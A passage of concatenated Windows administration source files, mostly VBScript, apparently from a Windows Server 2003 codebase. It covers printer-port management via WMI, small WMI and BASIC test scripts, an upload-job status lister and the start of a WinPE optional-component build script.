strUser = oParamDict(kUserName)
strPassword = oParamDict(kPassword)
'
' If the port exists, then get the settings. Later PutInstance will do an update
'
if WmiConnect(strServer, kNameSpace, strUser, strPassword, oService) then
set oPort = oService.Get("Win32_TCPIPPrinterPort.Name='" & strPort & "'")
'
' If get was unsuccessful then spawn a new port instance. Later PutInstance will do a create
'
if Err.Number <> kErrorSuccess then
'
' Clear the previous error
'
Err.Clear
set oPort = oService.Get("Win32_TCPIPPrinterPort").SpawnInstance_
end if
else
CreateOrSetPort = kErrorFailure
exit function
end if
if Err.Number <> kErrorSuccess then
wscript.echo L_Text_Msg_General03_Text & L_Space_Text & L_Error_Text & L_Space_Text _
& L_Hex_Text & hex(Err.Number) & L_Space_Text & Err.Description
CreateOrSetPort = kErrorFailure
exit function
end if
oPort.Name = oParamDict.Item(kPortName)
PortType = oParamDict.Item(kPortType)
'
' Update the port object with the settings corresponding
' to the port type of the port to be added
'
select case lcase(PortType)
case "raw"
oPort.Protocol = 1
case "lpr"
oPort.Protocol = 2
case else
'
' PutInstance will attempt to get the configuration of
' the device based on its IP address. Those settings
' will be used to add a new port
'
end select
oPort.HostAddress = oParamDict.Item(kHostAddress)
oPort.PortNumber = oParamDict.Item(kPortNumber)
oPort.SNMPEnabled = oParamDict.Item(kSNMP)
oPort.SNMPDevIndex = oParamDict.Item(kSNMPDeviceIndex)
oPort.SNMPCommunity = oParamDict.Item(kCommunityName)
oPort.Queue = oParamDict.Item(kQueueName)
oPort.ByteCount = oParamDict.Item(kDoubleSpool)
'
' Try creating or updating the port
'
oPort.Put_(kFlagCreateOrUpdate)
if Err.Number = kErrorSuccess then
wscript.echo L_Text_Msg_General04_Text & L_Space_Text & oPort.Name
iResult = kErrorSuccess
else
wscript.echo L_Text_Msg_General05_Text & L_Space_Text & oPort.Name & L_Space_Text _
& L_Error_Text & L_Space_Text & L_Hex_Text & hex(Err.Number) _
& L_Space_Text & Err.Description
'
' Try getting extended error information
'
call LastError()
iResult = kErrorFailure
end if
CreateOrSetPort = iResult
end function
'
' List ports on a machine.
'
function ListPorts(oParamDict)
on error resume next
DebugPrint kDebugTrace, L_Text_Dbg_Msg03_Text
dim Ports
dim oPort
dim oService
dim iRetval
dim iTotal
dim strServer
dim strUser
dim strPassword
iResult = kErrorFailure
strServer = oParamDict(kServerName)
strUser = oParamDict(kUserName)
strPassword = oParamDict(kPassword)
if WmiConnect(strServer, kNameSpace, strUser, strPassword, oService) then
set Ports = oService.InstancesOf("Win32_TCPIPPrinterPort")
else
ListPorts = kErrorFailure
exit function
end if
if Err.Number <> kErrorSuccess then
wscript.echo L_Text_Msg_General06_Text & L_Space_Text & L_Error_Text & L_Space_Text _
& L_Hex_Text & hex(Err.Number) & L_Space_Text & Err.Description
ListPrinters = kErrorFailure
exit function
end if
iTotal = 0
for each oPort in Ports
iTotal = iTotal + 1
wscript.echo L_Empty_Text
wscript.echo L_Text_Msg_Port01_Text & L_Space_Text & strServer
wscript.echo L_Text_Msg_Port02_Text & L_Space_Text & oPort.Name
wscript.echo L_Text_Msg_Port03_Text & L_Space_Text & oPort.HostAddress
if oPort.Protocol = 1 then
wscript.echo L_Text_Msg_Port04_Text
wscript.echo L_Text_Msg_Port06_Text & L_Space_Text & oPort.PortNumber
else
wscript.echo L_Text_Msg_Port05_Text
wscript.echo L_Text_Msg_Port07_Text & L_Space_Text & oPort.Queue
if oPort.ByteCount then
wscript.echo L_Text_Msg_Port08_Text
else
wscript.echo L_Text_Msg_Port09_Text
end if
end if
if oPort.SNMPEnabled then
wscript.echo L_Text_Msg_Port10_Text
wscript.echo L_Text_Msg_Port12_Text & L_Space_Text & oPort.SNMPCommunity
wscript.echo L_Text_Msg_Port13_Text & L_Space_Text & oPort.SNMPDevIndex
else
wscript.echo L_Text_Msg_Port11_Text
end if
Err.Clear
next
wscript.echo L_Empty_Text
wscript.echo L_Text_Msg_General07_Text & L_Space_Text & iTotal
ListPorts = kErrorSuccess
end function
'
' Gets the configuration of a port
'
function GetPort(oParamDict)
on error resume next
DebugPrint kDebugTrace, L_Text_Dbg_Msg04_Text
DebugPrint kDebugTrace, L_Text_Msg_Port01_Text & L_Space_Text & oParamDict(kServerName)
DebugPrint kDebugTrace, L_Text_Msg_Port02_Text & L_Space_Text & oParamDict(kPortName)
dim oService
dim oPort
dim iResult
dim strServer
dim strPort
dim strUser
dim strPassword
iResult = kErrorFailure
strServer = oParamDict(kServerName)
strPort = oParamDict(kPortName)
strUser = oParamDict(kUserName)
strPassword = oParamDict(kPassword)
if WmiConnect(strServer, kNameSpace, strUser, strPassword, oService) then
set oPort = oService.Get("Win32_TCPIPPrinterPort.Name='" & strPort & "'")
else
GetPort = kErrorFailure
exit function
end if
if Err.Number = kErrorSuccess then
wscript.echo L_Empty_Text
wscript.echo L_Text_Msg_Port01_Text & L_Space_Text & strServer
wscript.echo L_Text_Msg_Port02_Text & L_Space_Text & oPort.Name
wscript.echo L_Text_Msg_Port03_Text & L_Space_Text & oPort.HostAddress
if oPort.Protocol = 1 then
wscript.echo L_Text_Msg_Port04_Text
wscript.echo L_Text_Msg_Port06_Text & L_Space_Text & oPort.PortNumber
else
wscript.echo L_Text_Msg_Port05_Text
wscript.echo L_Text_Msg_Port07_Text & L_Space_Text & oPort.Queue
if oPort.ByteCount then
wscript.echo L_Text_Msg_Port08_Text
else
wscript.echo L_Text_Msg_Port09_Text
end if
end if
if oPort.SNMPEnabled then
wscript.echo L_Text_Msg_Port10_Text
wscript.echo L_Text_Msg_Port12_Text & L_Space_Text & oPort.SNMPCommunity
wscript.echo L_Text_Msg_Port13_Text & L_Space_Text & oPort.SNMPDevIndex
else
wscript.echo L_Text_Msg_Port11_Text
end if
iResult = kErrorSuccess
else
wscript.echo L_Text_Msg_General03_Text & L_Space_Text & L_Error_Text & L_Space_Text _
& L_Hex_Text & hex(Err.Number) & L_Space_Text & Err.Description
'
' Try getting extended error information
'
call LastError()
end if
GetPort = iResult
end function
'
' Debug display helper function
'
sub DebugPrint(uFlags, strString)
if gDebugFlag = true then
if uFlags = kDebugTrace then
wscript.echo L_Debug_Text & L_Space_Text & strString
end if
if uFlags = kDebugError then
if Err <> 0 then
wscript.echo L_Debug_Text & L_Space_Text & strString & L_Space_Text _
& L_Error_Text & L_Space_Text & L_Hex_Text & hex(Err.Number) _
& L_Space_Text & Err.Description
end if
end if
end if
end sub
'
' Parse the command line into its components
'
function ParseCommandLine(iAction, oParamDict)
on error resume next
DebugPrint kDebugTrace, L_Text_Dbg_Msg05_Text
dim oArgs
dim iIndex
iAction = kActionUnknown
set oArgs = Wscript.Arguments
while iIndex < oArgs.Count
select case oArgs(iIndex)
case "-g"
iAction = kActionGet
case "-t"
iAction = kActionSet
case "-a"
iAction = kActionAdd
case "-d"
iAction = kActionDelete
case "-l"
iAction = kActionList
case "-2e"
oParamDict.Add kDoubleSpool, true
case "-2d"
oParamDict.Add kDoubleSpool, false
case "-s"
iIndex = iIndex + 1
oParamDict.Add kServerName, RemoveBackslashes(oArgs(iIndex))
case "-u"
iIndex = iIndex + 1
oParamDict.Add kUserName, oArgs(iIndex)
case "-w"
iIndex = iIndex + 1
oParamDict.Add kPassword, oArgs(iIndex)
case "-n"
iIndex = iIndex + 1
oParamDict.Add kPortNumber, oArgs(iIndex)
case "-r"
iIndex = iIndex + 1
oParamDict.Add kPortName, oArgs(iIndex)
case "-o"
iIndex = iIndex + 1
oParamDict.Add kPortType, oArgs(iIndex)
case "-h"
iIndex = iIndex + 1
oParamDict.Add kHostAddress, oArgs(iIndex)
case "-q"
iIndex = iIndex + 1
oParamDict.Add kQueueName, oArgs(iIndex)
case "-i"
iIndex = iIndex + 1
oParamDict.Add kSNMPDeviceIndex, oArgs(iIndex)
case "-y"
iIndex = iIndex + 1
oParamDict.Add kCommunityName, oArgs(iIndex)
case "-me"
oParamDict.Add kSNMP, true
case "-md"
oParamDict.Add kSNMP, false
case "-?"
Usage(True)
exit function
case else
Usage(True)
exit function
end select
iIndex = iIndex + 1
wend
if Err = kErrorSuccess then
ParseCommandLine = kErrorSuccess
else
wscript.echo L_Text_Error_General02_Text & L_Space_Text & L_Error_Text & L_Space_Text _
& L_Hex_Text & hex(Err.Number) & L_Space_text & Err.Description
ParseCommandLine = kErrorFailure
end if
end function
'
' Display command usage.
'
sub Usage(bExit)
wscript.echo L_Help_Help_General01_Text
wscript.echo L_Help_Help_General02_Text
wscript.echo L_Help_Help_General03_Text
wscript.echo L_Help_Help_General04_Text
wscript.echo L_Help_Help_General05_Text
wscript.echo L_Help_Help_General06_Text
wscript.echo L_Help_Help_General07_Text
wscript.echo L_Help_Help_General08_Text
wscript.echo L_Help_Help_General09_Text
wscript.echo L_Help_Help_General10_Text
wscript.echo L_Help_Help_General11_Text
wscript.echo L_Help_Help_General12_Text
wscript.echo L_Help_Help_General13_Text
wscript.echo L_Help_Help_General14_Text
wscript.echo L_Help_Help_General15_Text
wscript.echo L_Help_Help_General16_Text
wscript.echo L_Help_Help_General17_Text
wscript.echo L_Help_Help_General18_Text
wscript.echo L_Help_Help_General19_Text
wscript.echo L_Help_Help_General20_Text
wscript.echo L_Help_Help_General21_Text
wscript.echo L_Help_Help_General22_Text
wscript.echo L_Empty_Text
wscript.echo L_Help_Help_General23_Text
wscript.echo L_Help_Help_General24_Text
wscript.echo L_Help_Help_General25_Text
wscript.echo L_Help_Help_General26_Text
wscript.echo L_Help_Help_General27_Text
wscript.echo L_Help_Help_General28_Text
wscript.echo L_Help_Help_General29_Text
wscript.echo L_Empty_Text
wscript.echo L_Help_Help_General30_Text
wscript.echo L_Help_Help_General31_Text
wscript.echo L_Help_Help_General32_Text
if bExit then
wscript.quit(1)
end if
end sub
'
' Determines which program is being used to run this script.
' Returns true if the script host is cscript.exe
'
function IsHostCscript()
on error resume next
dim strFullName
dim strCommand
dim i, j
dim bReturn
bReturn = false
strFullName = WScript.FullName
i = InStr(1, strFullName, ".exe", 1)
if i <> 0 then
j = InStrRev(strFullName, "\", i, 1)
if j <> 0 then
strCommand = Mid(strFullName, j+1, i-j-1)
if LCase(strCommand) = "cscript" then
bReturn = true
end if
end if
end if
if Err <> 0 then
wscript.echo L_Text_Error_General01_Text & L_Space_Text & L_Error_Text & L_Space_Text _
& L_Hex_Text & hex(Err.Number) & L_Space_Text & Err.Description
end if
IsHostCscript = bReturn
end function
'
' Retrieves extended information about the last error that occurred
' during a WBEM operation. The methods that set an SWbemLastError
' object are GetObject, PutInstance, DeleteInstance
'
sub LastError()
on error resume next
dim oError
set oError = CreateObject("WbemScripting.SWbemLastError")
if Err = kErrorSuccess then
wscript.echo L_Operation_Text & L_Space_Text & oError.Operation
wscript.echo L_Provider_Text & L_Space_Text & oError.ProviderName
wscript.echo L_Description_Text & L_Space_Text & oError.Description
wscript.echo L_Text_Error_General04_Text & L_Space_Text & oError.StatusCode
end if
end sub
'
' Connects to the WMI service on a server. oService is returned as a service
' object (SWbemServices)
'
function WmiConnect(strServer, strNameSpace, strUser, strPassword, oService)
on error resume next
dim oLocator
dim bResult
oService = null
bResult = false
set oLocator = CreateObject("WbemScripting.SWbemLocator")
if Err = kErrorSuccess then
set oService = oLocator.ConnectServer(strServer, strNameSpace, strUser, strPassword)
if Err = kErrorSuccess then
bResult = true
oService.Security_.impersonationlevel = 3
'
' Required to perform administrative tasks on the spooler service
'
oService.Security_.Privileges.AddAsString "SeLoadDriverPrivilege"
Err.Clear
else
wscript.echo L_Text_Msg_General10_Text & L_Space_Text & L_Error_Text _
& L_Space_Text & L_Hex_Text & hex(Err.Number) & L_Space_Text _
& Err.Description
end if
else
wscript.echo L_Text_Msg_General09_Text & L_Space_Text & L_Error_Text _
& L_Space_Text & L_Hex_Text & hex(Err.Number) & L_Space_Text _
& Err.Description
end if
WmiConnect = bResult
end function
'
' Remove leading "\\" from server name
'
function RemoveBackslashes(strServer)
dim strRet
strRet = strServer
if Left(strServer, 2) = "\\" and Len(strServer) > 2 then
strRet = Mid(strServer, 3)
end if
RemoveBackslashes = strRet
end function
|
<reponame>npocmaka/Windows-Server-2003
on error resume next
const wbemPrivilegeCreateToken = 1
const wbemPrivilegePrimaryToken = 2
const wbemPrivilegeLockMemory = 3
const wbemPrivilegeIncreaseQuota = 4
const wbemPrivilegeMachineAccount = 5
const wbemPrivilegeTcb = 6
const wbemPrivilegeSecurity = 7
const wbemPrivilegeTakeOwnership = 8
const wbemPrivilegeLoadDriver = 9
const wbemPrivilegeSystemProfile = 10
const wbemPrivilegeSystemtime = 11
const wbemPrivilegeProfileSingleProcess = 12
const wbemPrivilegeIncreaseBasePriority = 13
const wbemPrivilegeCreatePagefile = 14
const wbemPrivilegeCreatePermanent = 15
const wbemPrivilegeBackup = 16
const wbemPrivilegeRestore = 17
const wbemPrivilegeShutdown = 18
const wbemPrivilegeDebug = 19
const wbemPrivilegeAudit = 20
const wbemPrivilegeSystemEnvironment = 21
const wbemPrivilegeChangeNotify = 22
const wbemPrivilegeRemoteShutdown = 23
set service = getobject ("winmgmts:root/scenario26")
service.security_.privileges.Add wbemPrivilegeDebug
set obj = service.get ("Scenario26.key=""x""")
if err <> 0 then
WScript.Echo Hex(Err.Number), Err.Description
end if
|
<reponame>npocmaka/Windows-Server-2003
on error resume next
set service = GetObject("winmgmts:")
while true
service.Get ("Win32_Service")
wend
|
10 GOSUB 100
20 END
30 PRINT "UNREACHABLE"
100 PRINT "hi"
110 RETURN
|
set processes = getobject("wmi:").InstancesOf ("Win32_Process")
for each p in processes
Wscript.echo p.name
next
|
10 LET S$="abc123"
20 PRINT LEN (S$)
30 PRINT RIGHT$(S$,2)
40 PRINT LEFT$(S$,2)
50 PRINT MID$(S$,1,1)
60 PRINT "abc";"xyz"
70 PRINT STR$(11.2)
80 PRINT VAL("500")
|
'***************************************************************************
'This script tests the setting of null property values and passing of
'null values to methods
'***************************************************************************
On Error Resume Next
Set Locator = CreateObject("WbemScripting.SWbemLocator")
'Note next call uses "null" for first argument
Set Service = Locator.ConnectServer (vbNullString, "root/default", null, null, null, , ,null)
Set aClass = Service.Get
'Set up a new class with an initialized property value
aClass.Path_.Class = "NULLPROPVALUETEST00"
aClass.Properties_.Add ("P", 3).Value = 25
aClass.Put_
if Err <> 0 Then
WScript.Echo Err.Description
Err.Clear
End if
'Now null the property value using non-dot access
Set aClass = Service.Get ("NULLPROPVALUETEST00")
Set Property = aClass.Properties_("P")
Property.Value = null
aClass.Put_
'Un-null
Set aClass = Service.Get ("NULLPROPVALUETEST00")
Set Property = aClass.Properties_("P")
Property.Value = 56
aClass.Put_
'Now null it using dot access
Set aClass = Service.Get("NULLPROPVALUETEST00")
aClass.P = null
aClass.Put_
|
<gh_stars>1-10
sub Assert( boolExpr, strOnFail )
if not boolExpr then
Err.Raise vbObjectError + 99999, , strOnFail
end if
end sub
|
<reponame>npocmaka/Windows-Server-2003
on error resume next
set service = GetObject("winmgmts:{impersonationLevel=impersonate}!Win32_Service=""SNMP""")
result = service.Create ("Fred", "Frederick", "c:\\temp", , , "Manual", ,,"fred", "A", Array("A", "BB", "CCC"), Array("D"))
if err <>0 then
WScript.Echo Hex(Err.Number)
else
WScript.Echo "Returned result is " & result
end if
|
'stop
Set obj = CreateObject( "UploadManager.MPCUpload" )
Function LookUpStatus( stat )
Select Case stat
Case 0 LookUpStatus = "UL_NOTACTIVE"
Case 1 LookUpStatus = "UL_ACTIVE"
Case 2 LookUpStatus = "UL_SUSPENDED"
Case 3 LookUpStatus = "UL_TRANSMITTING"
Case 4 LookUpStatus = "UL_ABORTED"
Case 5 LookUpStatus = "UL_FAILED"
Case 6 LookUpStatus = "UL_COMPLETED"
Case 7 LookUpStatus = "UL_DELETED"
Case Else LookUpStatus = "Unknown"
End Select
End Function
Function LookUpMode( mode )
Select Case mode
Case 0 LookUpMode = "UL_BACKGROUND"
Case 1 LookUpMode = "UL_FOREGROUND"
Case Else LookUpMode = "Unknown"
End Select
End Function
Function LookUpHistory( history )
Select Case history
Case 0 LookUpHistory = "UL_HISTORY_NONE"
Case 1 LookUpHistory = "UL_HISTORY_LOG"
Case 2 LookUpHistory = "UL_HISTORY_LOG_AND_DATA"
Case Else LookUpHistory = "Unknown"
End Select
End Function
For Each job In obj
wscript.Echo "ID " & job.JobID
wscript.Echo "Sig " & job.Sig
wscript.Echo "Server " & job.Server
wscript.Echo "Provider " & job.ProviderID
wscript.Echo "Status " & LookUpStatus ( job.Status )
wscript.Echo "History " & LookUpHistory( job.History )
wscript.Echo "Mode " & LookUpMode ( job.Mode )
wscript.Echo "Priority " & job.Priority
wscript.Echo "PersistToDisk " & job.PersistToDisk
wscript.Echo "Compressed " & job.Compressed
wscript.Echo "Priority " & job.Priority
wscript.Echo "Sent Bytes " & job.SentSize
wscript.Echo "Total Bytes " & job.TotalSize
wscript.Echo "Error Code " & Hex ( job.ErrorCode )
wscript.Echo "Created on " & job.CreationTime
wscript.Echo "Completed on " & job.CompleteTime
wscript.Echo ""
Next
|
<filename>base/ntsetup/opktools/wpebins/buildoptionalcomponents.vbs
OPTION EXPLICIT
''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
'-----Windows Script Host script to generate components needed to run WSH, HTA, or
'-----ADO (for Microsoft SQL Server connectivity) under Windows PE.
'-----Copyright 2002, Microsoft Corporation
''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
'-----DIM & DEFINE VARIABLES, CREATE COM OBJECTS
''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
DIM strCmdArg, strCmdSwitch, arg, strCmdArray, CDDriveCollection, CDDrive, strOptionalSource, FSO, Folder, HDDColl
DIM HDD, FirstHDD, strAppend, WSHShell, strDesktop, strOptionalDestination, strDestFolder, strSampleDir, strAsk, iAsk
DIM FILE, strCMDExpand, strCMDMid, strJobTitle, strNeedCD, iAmPlatform, iArchDir, strPlatName, strFinalLocation
DIM iAmQuiet,iHaveSource, iHaveDest, iWillBrowse, WshSysEnv, strOSVer, strWantToView, strFolderName, intOneMore
DIM strCMDado, strCMDmsadc, strCMDOle_db, strIDir, strSysDir, makeADO, makeHTA, makeWSH, strComps, strSamples
DIM strcpDirections, strADOcpDirections
Const ForAppending = 8
strJobTitle = "WinPE Optional Component Generation"
SET WshShell = WScript.CreateObject("WScript.Shell")
SET WshSysEnv = WshShell.Environment("SYSTEM")
SET FSO = CreateObject("Scripting.FileSystemObject")
''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
'-----ERROR OUT IF NOT RUNNING ON Windows NT
''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
strOSVer = WshSysEnv("OS")
IF strOSVer <> "Windows_NT" THEN
MsgBox "This script must be run on Windows 2000 or a newer version of Microsoft Windows.", vbCritical, "Incorrect Windows Version."
WScript.Quit
END IF
''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
'-----OFFER/TAKE CMDLINE PARAMETERS AND INTERPRET THEM
''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
IF WScript.Arguments.Count <> 0 Then
For each arg in WScript.Arguments
strCmdArg = (arg)
strCmdArray = Split(strCmdArg, ":", 2, 1)
IF lcase(strCmdArray(0)) = "/s" or lcase(strCmdArray(0)) = "-s" or lcase(strCmdArray(0)) = "/source" or lcase(strCmdArray(0)) = "-source" THEN
iHaveSource = 1
strOptionalSource = TRIM(strCmdArray(1))
END IF
IF lcase(strCmdArray(0)) = "/d" or lcase(strCmdArray(0)) = "-d" or lcase(strCmdArray(0)) = "/destination" or lcase(strCmdArray(0)) = "-destination" THEN
iHaveDest = 1
strOptionalDestination = TRIM(strCmdArray(1))
END IF
IF lcase(strCmdArray(0)) = "/?" OR lcase(strCmdArray(0)) = "-?" THEN
MsgBox "The following command-line arguments are accepted by this script:"&vbCRLF&vbCRLF&_
"""/S:filepath"" - alternate source location other than the CD-ROM drive."&vbCRLF&vbCRLF&"Examples:"&vbCRLF&vbCRLF&_
" /S:C:\"&vbCRLF&_
" -s:Z:\"&vbCRLF&_
" or"&vbCRLF&_
" -S:\\Myserver\Myshare"&vbCRLF&vbCRLF&_
"/D - Destination. Opposite of S - specifies build destination. Otherwise files are placed on the desktop."&vbCRLF&vbCRLF&_
"/ADO - Build ADO (ActiveX Database Objects) for Microsoft SQL Server connectivity"&vbCRLF&_
"/HTA - Build HTA (HTML Applications)"&vbCRLF&_
"/WSH - Build WSH (Windows Script Host)"&vbCRLF&_
"Note that if you do not specify which components, "&_
"or you do not run this script from the command-line, all optional "&_
"components will be installed. If you include HTA, WSH is included"&_
"automatically, and cannot be removed."&vbCRLF&vbCRLF&_
"/64 - build for Itanium. Generates scripts for Windows on the Itanium Processor Family. Requires a copy of Windows XP 64-Bit Edition."&vbCRLF&vbCRLF&_
"/Q - suppress dialogs. This will not confirm success, will notify on failure."&vbCRLF&vbCRLF&_
"/E - explore completed files. Open Explorer to the copied files (can use with /Q).", vbInformation, "Command-line arguments"
WScript.Quit
END IF
IF lcase(strCmdArray(0)) = "/64" OR lcase(strCmdArray(0)) = "-64" THEN
iAmPlatform = "Itanium"
END IF
IF lcase(strCmdArray(0)) = "/q" OR lcase(strCmdArray(0)) = "-q" THEN
iAmQuiet = 1
END IF
IF lcase(strCmdArray(0)) = "/e" OR lcase(strCmdArray(0)) = "-e" THEN
iWillBrowse = 1
END IF
IF lcase(strCmdArray(0)) = "/ado" OR lcase(strCmdArray(0)) = "-ado" THEN
makeADO = 1
END IF
IF lcase(strCmdArray(0)) = "/hta" OR lcase(strCmdArray(0)) = "-hta" THEN
makeHTA = 1
END IF
IF lcase(strCmdArray(0)) = "/wsh" OR lcase(strCmdArray(0)) = "-wsh" THEN
makeWSH = 1
END IF
IF makeHTA = 1 THEN
makeWSH = 1
END IF
Next
ELSE
iHaveSource = 0
END IF
IF makeADO <> 1 AND makeHTA <> 1 AND makeWSH <> 1 THEN
makeADO = 1
makeHTA = 1
makeWSH = 1
END IF
IF iAmQuiet <> 1 THEN
iAmQuiet = 0
END IF
IF iAmPlatform <> "Itanium" THEN
iArchDir = "I386"
strPlatName = "Professional"
ELSE
iArchDir = "IA64"
strPlatName = "64-Bit Edition"
END IF
IF Right(strOptionalDestination, 1) = "\" THEN
strOptionalDestination = Left(strOptionalDestination, LEN(strOptionalDestination)-1)
END IF
IF Right(strOptionalSource, 1) = "\" THEN
strOptionalSource = Left(strOptionalSource, LEN(strOptionalSource)-1)
END IF
IF strOptionalDestination = "" THEN
iHaveDest = 0
ELSEIF INSTR(UCASE(strOptionalDestination), "I386\") <> 0 OR INSTR(UCASE(strOptionalDestination), "IA64\") <> 0 OR INSTR(UCASE(strOptionalDestination), "SYSTEM32") <> 0 THEN
MsgBox "The destination path needs to be the root of your newly created WinPE install - remove any extraneous path information, such as """&iArchDir&""" or ""System32""", vbCritical, "Destination Path Incorrect"
WScript.Quit
END IF
''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
'-----GENERATE COLLECTION OF CD-ROM DRIVES VIA WMI. PICK FIRST AVAILABLE
'-----ERROR OUT IF NO DRIVES FOUND
''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
IF iHaveSource = 0 THEN
SET CDDriveCollection = GetObject("winmgmts:").ExecQuery("SELECT * FROM Win32_CDROMDrive")
IF CDDriveCollection.Count < 1 THEN
MsgBox "No CD-ROM drives found, and no alternative location specified. Exiting Script.", vbCritical, "No CD-ROM drive found"
WScript.Quit
END IF
FOR EACH CDDrive IN CDDriveCollection
strOptionalSource = CDDrive.Drive(0)
EXIT FOR
NEXT
END IF
''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
'-----PROMPT FOR WINDOWS CD - QUIT IF CANCELLED
''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
IF makeADO = 1 THEN
strComps = " ADO (ActiveX Database Objects) for Microsoft SQL Server connectivity "&vbCrLF
strSamples = " testADO.vbs (to test that ADO connectivity to SQL Server is functioning)"&vbCrLF
END IF
IF makeHTA = 1 THEN
strComps = strComps&" HTA (HTML Applications)"&vbCrLF
strSamples = strSamples&" testHTA.hta (to test that HTML Applications are functioning)"&vbCrLF
END IF
IF makeWSH = 1 THEN
strComps = strComps&" WSH (Windows Script Host)"&vbCrLF
strSamples = strSamples&" testWSH.vbs (to test that Windows Script Host is functioning)"&vbCrLF
END IF
strComps = strComps&vbCrLF
strSamples = strSamples&vbCrLF
IF iAmQuiet = 0 THEN
strNeedCD = MsgBox("This script will place a folder on your desktop containing all necessary files needed to "&_
"install the following optional components in Windows PE:"&vbCrLF&vbCrLF&_
strComps&_
"Please ensure that your "&_
"Windows XP "&strPlatName&" CD, or a mapped drive to a network share of Windows XP "&strPlatName&" is available now at "&_
"this location: "&vbCrLF&vbCrLF&" "&strOptionalSource&vbCrLF&vbCrLF&_
"This script is only designed to be executed on Windows XP, and the resulting components "&_
"are only for use with Windows PE.", 65, strJobTitle)
END IF
IF strNeedCD = 2 THEN
WScript.Quit
END IF
''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
'-----TEST VIA WMI TO INSURE MEDIA IS PRESENT AND READABLE
''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
IF iHaveSource = 0 THEN
TestForMedia()
END IF
''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
'-----TESTS FOR EXISTANCE OF SEVERAL KEY FILES, AND A FILE COUNT IN I386 or IA64 TO INSURE
'-----WINDOWS XP PRO MEDIA
''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
Validate(iArchDir)
'''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
'-----FIND THE USER'S DESKTOP, AND PUT NEW FOLDER THERE - APPEND TIMESTAMP IF THE FOLDER
'-----ALREADY EXISTS.
''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
strDesktop = WshShell.SpecialFolders("Desktop")
strFolderName = "WinPE Optional Component Files ("&iArchDir&")"
IF iHaveDest = 0 THEN
strDestFolder = strDesktop&"\"&strFolderName
IF FSO.FolderExists(strDestFolder) THEN
GetUnique()
strDestFolder = strDestFolder&strAppend
strFolderName = strFolderName&strAppend
END IF
ELSE
strDestFolder = strOptionalDestination
END IF
''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
'-----CHECK FOR FOLDERS AND CREATE IF THEY DON'T EXIST
''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
strSampleDir = strDestFolder&"\Samples"
CheckNMakeFolder(strDestFolder)
CheckNMakeFolder(strDestFolder&"\"&iArchDir)
CheckNMakeFolder(strDestFolder&"\"&iArchDir&"\Registration")
CheckNMakeFolder(strDestFolder&"\"&iArchDir&"\System32")
CheckNMakeFolder(strSampleDir)
IF makeADO = 1 THEN
CheckNMakeFolder(strDestFolder&"\Program Files")
CheckNMakeFolder(strDestFolder&"\Program Files\Common Files")
CheckNMakeFolder(strDestFolder&"\Program Files\Common Files\System")
CheckNMakeFolder(strDestFolder&"\Program Files\Common Files\System\ado")
CheckNMakeFolder(strDestFolder&"\Program Files\Common Files\System\msadc")
CheckNMakeFolder(strDestFolder&"\Program Files\Common Files\System\Ole db")
strCMDado = """ """&strDestFolder&"\Program Files\Common Files\System\ado\"
strCMDmsadc = """ """&strDestFolder&"\Program Files\Common Files\System\msadc\"
strCMDOle_db = """ """&strDestFolder&"\Program Files\Common Files\System\Ole db\"
END IF
''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
'-----SET COMMON VARIABLES FOR FILE EXPANSION
''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
strCMDExpand = "EXPAND """&strOptionalSource&"\"&iArchDir&"\"
strCMDMid = """ """&strDestFolder&"\"&iArchDir&"\System32\"
''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
'-----SHELL OUT THE EXPANSION OF core WSH Files. (EXE, DLL, OCX)
''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
IF makeWSH = 1 THEN
WshShell.Run strCMDExpand&"wsh.in_"&strCMDMid&"wsh.inf""", 0, FALSE
WshShell.Run strCMDExpand&"wscript.ex_"&strCMDMid&"wscript.exe""", 0, FALSE
WshShell.Run strCMDExpand&"cscript.ex_"&strCMDMid&"cscript.exe""", 0, FALSE
WshShell.Run strCMDExpand&"jscript.dl_"&strCMDMid&"jscript.dll""", 0, FALSE
WshShell.Run strCMDExpand&"mlang.dl_"&strCMDMid&"mlang.dll""", 0, FALSE
WshShell.Run strCMDExpand&"scrobj.dl_"&strCMDMid&"scrobj.dll""", 0, FALSE
WshShell.Run strCMDExpand&"scrrun.dl_"&strCMDMid&"scrrun.dll""", 0, FALSE
IF iArchDir <> "I386" THEN
WshShell.Run strCMDExpand&"stdole2.tl_"&strCMDMid&"stdole2.tlb""", 0, FALSE
END IF
WshShell.Run strCMDExpand&"urlmon.dl_"&strCMDMid&"urlmon.dll""", 0, FALSE
WshShell.Run strCMDExpand&"vbscript.dl_"&strCMDMid&"vbscript.dll""", 0, FALSE
WshShell.Run strCMDExpand&"wshext.dl_"&strCMDMid&"wshext.dll""", 0, FALSE
WshShell.Run strCMDExpand&"wshom.oc_"&strCMDMid&"wshom.ocx""", 0, FALSE
END IF
